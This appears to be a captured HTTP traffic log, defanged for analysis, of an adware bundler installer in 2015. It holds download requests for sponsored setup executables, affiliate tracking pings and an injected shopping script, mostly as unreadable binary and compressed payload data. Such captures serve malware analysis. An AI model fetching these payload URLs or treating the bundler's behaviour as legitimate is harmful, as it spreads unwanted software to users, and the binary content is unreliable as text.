X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16151

Alternate-Protocol: 80:quic,p=0.02

Age: 3211

Cache-Control: public, max-age=7200
............yW...8.?..|{.....S..7.(m.....Ms.dY.iB....%.g..A..$...y.z..
%..<mm.I~2...3....k9Z.2.}5....G.........dx.O:.Nz'...:.....I*b.v.o..
q....Bh..z6..V.|.})[email protected]....'...`....3i..RC.%..0.Fz..J{.'C
/...#O\BP]..^..../e..<1..p0...&.i......f{..zm..'&.w1...:...Y:......
.....p....`.n4....vz.W....|\c.-GX...:...5.y..".F:.. $....'..b2......k.
...:.....e.. t-{..^.^.....P....3........d..6.nM...."...^..|..1z......d
q.t.}.....I46..Kb....1..A...t...q.N.7zt .P.a......o:0.>..$Y..x:=.$.
....r./..0........n.%.vA.Ke.*....P/.....My..\..t...J(WW....,.A..<Q.
.........E..e.(.K.$......uBa ..1..yN.v..E....D=...:..[...>..zX.l^..
_..z C..o.......Mk.............^\.G.I?.7.[...l.l=..@.......;...e./y,.c
R.w`.d_...0.L/..F.q` j......y.5L....Zp*....#w0.%....]..:T..W...l.4.1U.
,.W~.q0.=XO.z'..f.,/e..K..P".F.e..^..9..S...1..1..J.. .4....WW....K..I
..x......\[email protected]]...tj..3w$...cA... XD..F.a.......3...?..41.!.w}..T 
8...vj..(.....q.P...........S^r.......A..X.e.K=J.5,o..0..Q.|=.v..l....
....j..';...B..$..-....$Z.R.L.OB.tL/:....t..g[..:A......i..4o[e8..3grr
..SJI...2...\YW..j3.^J%.................x.?.6...){...o..V.c.........@h
i.8.=..jR....]....x^.`.<..7........y1..8...YT...iLm}..Ye7T. X..d..T
 L Ui.....q}........#....elF.........m.6-..[./.-.x[{5 ....,.<....b.
e..aK\].VWMZ....{.x(....O........p..[[email protected].)..x...Fk......4.Z.i p.
7..`>.o.Z..O*<.c.....i.f...fk.g....J..a..y.....c_.X..%..4.Gz.M$.
...j5oe.0......$T~..}....0FtC].`-...Z.O..V.:Z..54o.4...oI...... .) ..6
*...Y.1......B..-._..{r..1]F.....f..|8..u.OY...38..}5.c.`.. ....`.<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.2&utms=1&utmn=363328282&utmhn=bi.bisrv.com&utmhid=1253900279&utmr=-&utmp=Installer_Init&utmht=1423540684596&utmac=UA-31676879-1&utmcc=__utma=1.576676510.1423540685.1423540685.1423540685.1;+__utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=199145764&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Tue, 10 Feb 2015 03:58:03 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Tue, 10 Feb 2015 03:58:03 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

GET /smt2b/all/hat/row/setup.exe_e HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 03:59:54 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537364"

Last-Modified: Tue, 10 Feb 2015 03:02:44 GMT

Cache-Control: max-age=208

Content-Length: 2508980

Content-Type: text/plain

X-HW: 1423540794.dop003.am4.t,1423540794.cds036.am4.c
...k......^._].. ...1.\[email protected]......),-.;@.W..T.%..(.G.'...L.
....>t.[..J.....^...v....Ux....q.....>..q........@g...{|f...{s.l
R...OA.I.pe.]...,{T.K-Q...|u..h|.....Jc.,W.H..Bc....".N..Z.L....^.}...
.d.!...m.Q...Q.....1.....W.yZq..5D.X.j....nH....2.me{...%QUL...7.W|8y.
...i..4!.h....E"X).O.]..1...`..4.n. /."...P.>".-...K...I.kp.......Y
9.ye...$]..%x7.K.*ld*\0....3..j..fX%^.N]...l.pD..S~N.H\.O....#.....G..
[email protected].]|.../{^....v".2.L%....]..8.=7.yT..  .4...$.FET..0...=.\Z`4.
U..BH...O..o..}a....d.o.... T......M.i:.q..gF}.....p.....2.C]..s..px.E
,.G@.~j..z...=.v....tW....-V.CQq!.`....7...\....2..i5Pm...g..|.O(.SLt.
y>">..3...')4Z..T....i.p......F.Dk..4.....z]>.i...a...*.....3
..._-...va..........).B.H.bwH.....W.v.0$7.bud,>..f2m..t..@.}.......
..`.r.s............Oh..S.k{...9c...&....#h...."... ..>..S.....g....
f..x...@..`..................sj.Q.7...C......4JE!!.6.R.N..C!$...r..(8.
....Ged.v.!X.~.1...-.H5/....Z..Z.y..BL..=j....qL..C.;$.mH.........?.y.
......#....A..{ ......Q..%~ ..:.z.....nyO|......(Ak......ad..'~...X.'.
....E...G.Ok.{...RO3..5%..(.._k.8..#x....!!XJ19...I..{.7.A...K.E.M)l..
.....c...f..FR.!..G.......j.O.qh.R..C.}...s....../7./T.../I.S......).K
Q.....;.....]"XC..7.q.0j.%..(.l.gL.j.gU.w...3q<......a......W...M`.
....`Jv\..(o3W.R.Xz3b..wV....e"Fg.?....g.Up.{,.`.......<.....4..._.
...54.iF....sl..<n........3.Z.c.."y...k..-.....u.........(.0N0..D..
Z........rs.....~....].sR...I.kv..b.nC..4....J.......H......v.t.VlfI..
.....?M`.A"<......s...f......GQ,.tuap..,..(..\.%...ia..Ii...%@:<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JJh9SyD8J1w6fhMDnFcx5qU3Tx3QCLC_hMh8pwG1RVoB6y-RqrFdMg==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=3&index_in_screen=1&index_in_session=3&0.5144070935991083 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmc=1; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:47 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:58:47 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WJR8Bul4tIBdZGtNDo62FnT85v530sBAvi6nXHVTuV_HkIXYzvEhnA==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_a HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 03:59:54 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537353"

Last-Modified: Tue, 10 Feb 2015 03:02:33 GMT

Cache-Control: max-age=208

Content-Length: 2508981

Content-Type: text/plain

X-HW: 1423540794.dop009.am4.t,1423540794.cds058.am4.c

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
.......r........ ..............................p.......P.. ...........
.Y....................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]... ..
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Awsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&apptitle=ShopperPro&channel=IF2Awsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: inst.shoppingate.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Mon, 02 Feb 2015 16:49:30 GMT

ETag: W/"aabbeb3683fd01:0"

X-Server-Name: WEB01

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

Expires: Wed, 11 Feb 2015 04:00:20 GMT

Cache-Control: max-age=86400

X-Cache: HIT

Content-Encoding: gzip
6172.............}yW.I...>...r.)e!.b..Jr..X.... \.....L-XH../..g..{
c.L..]5o..7..e.7n.=n|.. ..:......:..v..........h<....GY.=.........g
.d...Jq...|@.I9.....$...~?.v... ..........q)......X..W...J..{.,...u.E.
..,.rWa..e.~6.L...=..!n.*.ac:.. I....0...!.Zy)gv..7...R.....SJ..Z..]..
... ..J..WQv.^.c.YR.*..,.k.....]..."...i.......n.(...,....n..[w.E.V8..
..`c.....qgv....U}.kJ...u ..t...eXNW.t............M?.....=..g[.....wo.
i.....E.3nMJi....H.E....4.m..U.|..*%.V...`.4!......;..&`...k%.....0.r.
.............d...2.F.8.J.._L.o...lv.A..M.u6..............bw.I.....Z...
..X.G...c.h.f!!=......o.Gg......vy...........S>..*...._...5......#Q
.q....~k.._.O.G.....;...|rz._o4..^5...g.o.>~(...1.....x......}.....
{.|}y...T........)n.(X[...u.......=.7.......F...<T.....4..N!.'z">
;-.R.....T..... ....a..f..]..\D..e;[email protected]
.U...a.E.)h<7(..A.N..=|PR...v....)L..,..nd}P..x.._[.S..F\d.^.M.q.O.
..s?kt.l...3.PI..........2..UN...L....U..w..../.t.....=.V[..l....H....
.z.Md(;...$.....i...A..j.....f..W...EkA.[X.;.4....2...N...]M/...Y.!.-.
.". K.m.5.....oo...q.%.O..8>..?..%.Ots.......{%./U.3~....l..q5..50.
...9.L.....r.Ye.M.(..6.v..!.mVV..)..V.9./U;.)-....z.......`..l..0.J...
.8.{..V...i.I.V...x........._f...*..[.....<...qy..4. ..:,.H...h..\.
.z.1..#.......C.r9.1.f ....>!.cBv..I`..B. ...GH8.T.`..7/.......O..:
......v.r\......4.....M.O....U..-..&J.,]...7yIRD.......j@............:
@.j......Ub.C)......UmLg....f.(........>...D.....()u...[9f'....%...
ePm.?. ...q.j....2......h=@..<0.....Z;.)...a. ..F....d..$U...95<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=40204-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 281428

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 40204-321631/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6zJZAQOtDufNfDwC6U78N2CWbykEH7fC0opKh9I7C7A6qyRc1XFrpw==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t.........a....N......
.....P....}.........}.........V,9U.u".F0.N(;.t..M.s. .H.E... ....U...u
\.M..E.Q.F4.u....N0.E..F4....E.;.s... .J...V, ..F,.U.9E.u..V(;.t..U.s.
 .I.M... ..E..}....X....F..M..E......E.;.v....M..M.;.v..M..U..E..M.RPQ
.T....E..E.)E..E.)E....)F..E..._....V...........N......s3.}........)U.
.M............E.............U..E....r.%.?........F....................
......S ........K(j.PQ......F..........m...E.....F.................N..
.....9N.sm...s3.}...._...)U..U............E.............U..E....r..N..
...gC..N........E.......V..N..............E.9N.r......9F.s".......V...
..gC..V.........F.9F.r..N$Q.V..F.RP.......F.P.........E.....6....F..E.
.......N...................9N...............E..N.;.s5.}....g...)U..U..
.......N.....E.............U..E.;.r....pVC..V.#......J..R..M..U...<<< skipped >>>

GET /webplayer/flvplayer/html/images/gui_btn.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:46 GMT

Content-Type: image/png

Content-Length: 4604

Last-Modified: Wed, 17 Oct 2012 11:22:34 GMT

Connection: close

ETag: "507e94fa-11fc"

Accept-Ranges: bytes
.PNG........IHDR...^...W.............tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:F16002E4184C11E2853791FB
849D6E2F" xmpMM:DocumentID="xmp.did:F16002E5184C11E2853791FB849D6E2F"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F16002E2184C11E285
3791FB849D6E2F" stRef:documentID="xmp.did:F16002E3184C11E2853791FB849D
6E2F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>./{v...pIDATx..].TT....`f.^..N((.Ybu}...Z]#
I.5{..C.j..f.Z..{.[Y.wK.....ia*Z.....Z] [email protected]#.b........f.c...^...9.
.....g....=.....>...A [email protected]./.....k~ [..B..A.^!..^"...0l..&..(..z.
..C.A>.\J.!.....c..d6Z...n.M.5[..Z..6.S...q...X....q....z...&.n.u..
....c`w...G2.c..M.G~....-...c..._[......G6T......._.*.......g...y..|lS
....."..|.....9.9.y4.D.Lv...D~.....-.b..-.u{y.%...:mGJ......x...Q...T.
N. ...1.....OC.....t..g..4.^[email protected]".g...K.7...6.e...g..A.....
.9.....t< Lo.&6..e..?...K....7g...f.....Q^..Y.6...#_.@.#..5,..#.Y{.
[email protected] ..cA.@v......~.....I..#.rf5[.o<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gJzTN3cu7owDnJXMkbO8wEc8JS1hTMQSnDBBffiEsMZnNSW4rQK-Bw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.049229260930564955 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:02 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:02 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /smt2b/all/hat/row/setup.exe_d HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 03:59:53 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537361"

Last-Modified: Tue, 10 Feb 2015 03:02:41 GMT

Cache-Control: max-age=209

Content-Length: 2508981

Content-Type: text/plain

X-HW: 1423540794.dop003.am4.t,1423540793.cds064.am4.c
Z....NW.34....W1.&A.c..F:....m.-....&..?.y1M.....W.....!...S....P.....
,n.......S.L....'.dc.(.....x,..;....c.....>X.s5(..J[..o.r`Bd.0.Z...
q..Dz.AS..v...EA..h......`......\;....B.%[email protected]..`....
#...X.#..U._.p...y_i.j.*~.$=.D.}..X.4_`....1.....k..<&.........Bi..
...7.......3..5...../?.........}......(.....(..^6u.I..Q!-4...V.5.....&
.)...B`.M.#...m`hX.e...M....2..e.....6.7/......./.........I....`5.m...
5g."i.q...h..O.....aD=.V.V.........dCO.q...).kH...'Ee(..f(........U'..
.Rh4....5.-%..Y.".U....(N(.TzLw.y..f;..=...[.b n........K.....&.&..{)h
..:.....NO......bL3.M.X.%....D}.5....e.*..xG([email protected]&...j. <"....
i..dSYc]...rKO5p.._eP!...Nu.{.....0.dr.....9.......?...3... .<F....
F..m...[......a3.k$.....l?-............&.Aw..(J...>.$...J?..k.ig..&
......>..k...\..Co...X...@&qVrL....' >....~......4.j...sC\....&l
t;..!.$../.h)..oy..a.Mo/D.".B.)-.-gf......_.HF..~x\z#E.A.,7^...`......
.. .i.C.L......;.....[F. .......?&...x(.U.R3h.Q..j.g...xR.b.....s.....
t.D....*BW.. .2.$.#Eks..O..>a...].$..es.......6.bZ......O.e.L.....l
j...?......[.X....J.W.(..^....7.CG..s`..5b.)).(W... X.b..s..k[.......o
K%.h.HF.,}...... .J.........x.o.b8.<j7..V.,.&..2.Q..?..q..(.IvL?B.A
..C.D...f..j....X....?......^}wW...EG.j<.Z....._lK.z..H...>....W
....O8...9..uO.}..`l.........[E..N72-mS..;[email protected]<
. ..:..vGP.I..G."...c].r..\.f\.e.&.Pj.ii.[.#.....=..(.2...ap..Q.....{.
K...}.........G....h. ..$.RTw..#r.FY...lCP.l..........e1...T..~...G..Y
...=..5@.*}G.R...L.#..Z..1...F.......9hs.xv...>.c.0...m..5B....<<< skipped >>>

